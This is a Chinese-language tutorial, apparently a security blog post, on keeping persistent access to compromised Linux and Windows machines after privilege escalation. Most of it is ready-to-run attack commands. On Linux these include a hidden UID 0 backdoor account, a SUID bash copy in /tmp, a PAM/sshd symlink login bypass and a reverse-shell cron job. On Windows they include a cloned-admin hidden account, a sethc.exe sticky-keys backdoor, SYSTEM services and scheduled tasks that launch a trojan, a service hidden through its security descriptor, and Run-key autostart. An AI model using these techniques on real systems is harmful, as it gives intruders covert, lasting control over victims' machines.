前面不是说要讲隧道吗, 没错,我又鸽了🕊🕊🕊🕊,那么今天现在讲一下操作系统的权限维持!
在我们提权之后,或者说打穿了整个内网之后,我们需要做权限维持,那么权限维持就分为以下两大类 ----> Linux,Windows权限维持
linux权限维持
对于Linux的权限维持,一般可以分为以下几种方法(当然肯定不止)
1.添加特权账号
整个就是最简单的了,直接创建一个后门用户,然后我们就可以直接远程上去。
很简单,直接一句话就可以了
useradd -p `openssl passwd -1 -salt 'salt' 密码` 用户名 -o -u 0 -g root -G root -s /bin/bash -d /home/用户名
useradd -p `openssl passwd -1 -salt 'salt' admin` baili -o -u 0 -g root -G root -s /bin/bash -d /home/baili
于是就能看见我们新创建的用户了
然后我们就可以去ssh远程登录了,但是真的能连上吗???
其实这个要看不同的机器吧,有些机器不允许root用户远程登录!!!
那么我们就要去修改相应配置
vim /etc/ssh/sshd_config
把上面的配置文件修改为下面
然后就能远程连接上去了
其实还有一个别的思路,我们完全可以创建一个普通用户(Linux不拦截普通用户远程登录),然后再去切换的root的用户(这个好像似乎更简单)
2.SUID维权
suid是什么我在之前讲过了
那么我们的思路就可以这样,将root的bash移动到一个地方!!
cp /bin/bash /tmp/.bash
然后放权,赋予suid权限
chmod 777 /tmp/.bash
chmod +s /tmp/.bash
成功赋权
然后我们随便用一个用户登录,然后cd到/tmp下
./.bash -p
这样,随便的一个用户都能够以root的身份去开启一个bash
3.PAM软连接
这个提权方式就比较常见了,面试也经常会问道,那么下面我们先来讲一下什么是PAM
PAM 认证一般遵循这样的顺序: Service( 服务 ) → PAM( 配置文件 ) → pam_*.so 。 PAM 认证首先要确定那一项服务, 然后加载相应的PAM 的配置文件 ( 位于 /etc/pam.d 下 ) ,最后调用认证文件 ( 位于 /lib/security 下 ) 进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM 模块进行认证。对于不同的服务器应用程序所对应的PAM 模块也是不同的。
软连接称之为符号连接( Symbolic Link ),也叫软连接。软链接文件有类似于 Windows 的快捷方式。它实际上是 一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
软连接其实就是一种快捷方式,像Windows一样,我们通过访问这个快捷方式就可以访问到对应的程序或者服务。
然后这个原理就是:
如果在目录pam.d下某个文件配置了pam_rootok的话,若UID为0用户就会直接返回成功
开始操作!!!
cat /etc/ssh/sshd_config|grep UsePAM
基本上都是开启的。
然后我们就可以去pmd.m文件下哪些文件配置了pam_rootok这个特性
find /etc/pam.d |xargs grep "pam_rootok"
然后以root身份去建立软连接
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=61861(这个端口你可以自己写)
然后我们就可以去免密码登录了(也不是免密,就是要随便输入一个密码)
4.SSHKey公私钥
这个的原理如下
用户将自己的 公钥储存在远程主机上 。登录的时候,远程主机会向用户发送一段随机字符串, 用户用自己的私钥加密后, 再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell ,不再要求密码。
ssh-keygen
然后我们去看一下生成的公钥,并且把他传到服务器上
然后我们把这个key写到/root/.ssh/authorized_keys这个文件中
如果没有 .ssh这个文件夹的话,我们可以先mkdir一下
然后我们登录都不用密码了
这个,就是sshkey的公私钥连接维权
5.计划任务维权
接着,就到我们的计划任务维权了。
这个就不用多说了吧,还是去 /etc/crontab下写一个反弹shell的计划任务就好
Windows权限维持
对于Windows的权限维持,那可就比Linux多的太多了,这里只讲几个比较常用的
1.隐藏用户维持
对于隐藏用户维持,我们有两种方法!!
1.$隐藏用户
这个是最简单的方法,但同时也是最容易被发现的一种方法!
首先我们只有三个用户
开始创建一个 $隐藏用户
这时候我们再去查看,是发现看不见的
但是无论是在注册表,还是控制面板的管理用户都是能看见的(隐蔽性不好)
2.注册表克隆账户隐藏
这个的原理就是克隆管理员的注册表!!
首先我们还是先去创建一个普通账号
然后我们去注册表
先将这个用户进行导出
然后找到这个用户和administrator的F值,复制administrator的f值
把他粘贴到我们创建用户的F值,并且导出
最后,在删除了这个用户之后,依次点击这两个注册表
然后我们就可以用这个用户登录进来了,而且是administrator的权限
当然了,我这里没有把他设置为隐藏用户,所以是能看见的,我们只需要在前一个方法下再去执行这个方法,就能达到更好的隐藏效果!!! 不过注册表和wmic都还是能看见
2.Shift后门
这个也算是一种比较出名的权限维持的方法了,快速敲击你的shift五下,就能弹出这个
它的原理就是调用了C:\windows\system32\sethc.exe 这个应用,我们只需要将他替换成cmd就行
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
但是就算你是administrator也会发现,拒绝访问!!!
但是我们可以敲这样的命令,不过这两个命令响应的会有一点久,可能要等一会
takeown /f c:\windows\system32\*.* /a /r /d y //强制将当前目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)
cacls c:\windows\system32\*.* /T /E /G administrators:F //在当前目录下的文件、子文件夹的NTFS权限上添加管理员组(administrators)完全控制权限
然后再去执行一下上面的命令
然后此时,我们注销,然后去登录
就能发现这个权限是直接以system去启动的,可以创建一个账户登进去
3.计划任务维持
计划任务我们再权限维持和权限提升的时候我们都不陌生,那么我们话不多说,直接演示吧
假设我们给目标远程传了一个木马,然后我们就可以通过计划任务进行权限维持
schtasks /create /tn "计划任务的名字" /tr "运行的命令" /sc onstart /ru System
这条命令就是就是在机的时候,以system权限去运行我们的命令,其实可以是无文件落地,也可以是运行一个木马程序。
schtasks /create /tn "torjan" /tr "C:\Users\administrator\Desktop\funny_torjan.exe" /sc onstart /ru System
然后我们去计划任务里面也是能看见的
然后假设用户重启了,可以看见下线了
于是就能看见直接上线了。。
4.系统服务权限维持
那既然都有计划任务了,那服务怎么可能跑的了呢???
sc create 服务名字 start= auto binPath= "cmd.exe /c 执行的命令" obj= Localsystem
sc create shell start= auto binPath= "cmd.exe /c C:\Users\administrator\Desktop\funny_torjan.exe " obj= Localsystem
当然,如果你想伪装一下的话还可以增加描述
sc description "服务名字" "对应的描述"
设置隐藏
sc sdset 服务名字 "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
然后我们直接重启就好
直接上线(还有一个是计划任务的)
5.启动项维权
这个启动项目维权可以分为两个
1.组策略维权
我们可以在gpedit.msc 里面找到这样的组策略的启动项
然后我们添加我们对应的脚本就好
2.启动文件夹维权
这个就是在系统每次启动的时候,都会去加载这些文件夹,你只需要去在这些文件夹下面放上你的恶意木马,或则对应的脚本即可
3.注册表维持
除了上面的两种方式,我们还可以篡改他的注册表(自启动)
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\administrator\Desktop\funny_torjan.exe"
然后我们再去重启,不出以外的话会有四个beacon上线(打脸,只有三个)
不过也不重要,你挑着来用就好